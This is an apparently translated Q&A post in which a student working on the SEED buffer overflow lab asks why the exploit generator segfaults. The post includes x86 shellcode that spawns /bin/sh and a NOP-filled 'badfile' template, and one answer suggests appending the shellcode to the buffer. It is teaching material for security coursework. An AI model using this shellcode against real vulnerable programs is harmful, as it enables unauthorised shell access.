缓冲区溢出实验室问题

时间:2015-03-26 06:18:53

标签: buffer-overflow memory

由于我们的安全课程没有实验室,我正在尝试解决Seed project's lab

http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/Buffer_Overflow.pdf

但似乎有问题, 代码没有进行利用,而是给出了分段错误错误。 是否还必须在代码中添加其他内容才能使其正常运行? 实验室说我必须编辑下面的代码

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=

"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

1 个答案:

答案 0 :(得分:0)

分段错误通常在发生缓冲区溢出时发生。您可能想尝试调试程序,查找缓冲区尝试访问的内存地址。

你不应该将shellcode附加到恶意缓冲区吗? (这可能是评论的意图)